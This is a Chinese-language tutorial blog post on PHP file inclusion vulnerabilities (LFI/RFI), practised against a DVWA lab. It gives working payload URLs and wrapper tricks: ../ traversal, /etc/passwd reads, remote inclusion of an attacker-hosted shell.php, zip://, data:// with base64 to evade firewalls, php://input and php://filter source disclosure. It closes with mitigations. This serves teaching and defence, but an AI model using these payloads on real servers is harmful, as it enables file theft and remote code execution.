首页 > 其他分享 >文件包含漏洞

文件包含漏洞

时间:2023-01-15 13:33:34浏览次数:32  
标签:文件 include 包含 漏洞 服务器 php

文件包含漏洞

一、文件包含漏洞原理解析

1.什么是包含

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含

2.文件包含漏洞产生原因

在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

3.文件包含漏洞的分类

①.本地文件包含漏洞

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞(LFI)

例如:xxx.com/index.php?page=/etc/passwd

②.远程文件包含漏洞

当被包含的文件在远程服务器时,就形成的远程文件包含漏洞(RFI)

例如:xxx.com/index.php?page=http://xxx.com/asdfaf.php

远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)

二、目录遍历和文件包含的区别

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统(更偏向于读取我们原先读取不了的文件)

例如:

1

我们之前无法访问win.ini(不在web目录下),但我们通过include文件包含漏洞去访问到了一个我们原先无法访问的文件,这种一般称为目录遍历

文件包含是通过include等函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含(更偏向于执行,把包含的内容当作php脚本去执行)

但两者的利用方式和漏洞成因都是一样的

三、常见的敏感信息路径

2

四、文件包含函数及其特性

include、include_once、require、require_once

无论他们包含的文件是什么类型,都当成php脚本解析并执行

五、文件包含漏洞访问方法(伪协议)

1.file协议访问绝对路径(file://+绝对路径

file:///C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

2.直接读取文件:upload/shell.php

3.返回上级目录:../upload/shell.php

4.直接访问绝对路径:C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

5.绝对路径位置,使用多个../返回根目录(或者过滤掉冒号时):../../../../phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

6.http协议包含远程文件(无文件上传漏洞只有文件包含漏洞):

①自己启动一个http服务器

3

可以访问一下

4

②复制shell.php的地址去包含,成功执行脚本

5

包含的逻辑是:客户端给服务器提交了一个请求,让受害服务器从黑客的服务器上包含一个文件,受害服务器向黑客服务器发送一个请求,获得了一个shell.php,这个shell.php是在受害服务器上执行(黑客服务器只提供shell.php供受害服务器执行,自己并不执行),而受害服务器在执行后把执行结果返回给客户端【黑客服务器即是攻击者自己的服务器】

7.zip协议:zip://shell.zip#shell.php,若服务器允许上传一个zip压缩包,可以使用该协议读取压缩包里的内容然后进行包含(shell.php前可添加路径,当然也不一定非要php文件,txt也可以,因为文件包含函数的特性,什么文件都会当成php执行)

①上传一个zip压缩包(若服务器只允许上传zip,禁止php,可以把php压缩成zip上传)

②使用zip协议进行包含

6

8.data协议:data://text/plan,<?php phpinfo(); ?>

把逗号后的内容当作文件内容给include包含

7

data协议变种(base64编码):data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg(此方法可以绕过一些防火墙)

8

9.php://input协议:在url中直接输入"php://input",在post请求中执行php命令(把用户提交的post表单当作文件内容,与data协议差不多)

9

10.php://filter/read=convert.base64-encode/resource=:读取文件源码

如,要读取"fi_remote.php"文件的源码就可以使用php://filter

我们可以看到,读取出了这样一段内容

10

将这段内容进行base64解码即可读取"fi_remote.php"文件内容

11

六、漏洞防范

1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关

2.路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“../”

3.包含文件验证:验证被包含的文件是否是白名单中的一员

4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);

标签:文件,include,包含,漏洞,服务器,php
From: https://www.cnblogs.com/vinslow/p/17053364.html

相关文章

  • SVN pre-commit钩子检测文件名称合法性
    需求这里题目起的比较大,实际笔者这里的需求,仅仅是检测提交的文件名称以及目录名称是否包含空格而已,不过回头想想也不算大,我能够检测空格,同时也就能检测其他的元素,进而实现......
  • 快速备份一个文件
    快速备份一个文件#cpfilename{,.bak}这道命令把filename文件拷贝成filename.bak,大家应该在一些比较复杂的安装教程里面见过这样的用法。其原理就在于bash对大括号的展开......
  • 如何在应用程序中调用帮助文件?
    在软件中帮助文件是非常重要的,它是用户认识软件的窗口.下面给出怎么样在VB中调用帮助文件的代码.新建一个工程,在窗体上加入控件CommonDialog1,然后在代码窗口添加下面代码(最好......
  • 写了个判断文件是否被锁定的函数 --- 有用!
    今天在工程中要用到这个功能,把它写出来,如果你有用得着的地方,直接Ctrl+C去,呵呵.函数如下:boolIsFileLocked(LPCTSTRszFileName){if(szFileName==NULL)returnfalse;HANDLE......
  • 在 Linux 上查找特定文件的所有链接
    概述在本教程中,我们将学习如何在Linux上查找特定文件的所有链接。我们将使用命令lsof列出任何进程打开的所有文件,然后grep仅过滤掉那些链接到目标文件的文件。什么是......
  • git status 查看仓库文件状态
    1.前言2.各种状态3.-s参数4.--ignored查看所有被忽略的文件1.前言gitstatus命令用于查看当前git中的文件状态这个命令会将工作区、暂存区、版本库中的文件状......
  • 永恒之黑漏洞复现
    准备一台安装了python的电脑(可以是虚拟机)随便一个受到影响的windows电脑(可以是虚拟机,因为会蓝屏)受影响的windows电脑,包括:Windows10Version1903for32-bitSy......
  • containerd.service containerd-1.6.8-linux-amd64.tar.gz cni-plugins-linux-amd64-v
    配置K8S时可能会用到#systemcd来管理containerd,这https://raw.githubusercontent.com/containerd/containerd/main/containerd.service链接会访问出问题。这里附containe......
  • ms17-010漏洞复现
    一、ms17-010漏洞复现(1)启用msf (2)搜索msf中和ms17-010漏洞相关的脚本   (3)使用ms17-010的辅助模块脚本(即搜到的3号模块)   (4)配置辅助模块脚本相关内容......
  • Heic,Cr2,Raw格式文件转JPG工具
    苹果的手机格式是HEIC,但不太通用,去网找一个转换软件,动不动还要收费99元,自己借助于部分开源的组件,重新写了个,可以支持HEIC,CR2转换,RAW格式的也可能,但没有做测试.原始图片一般......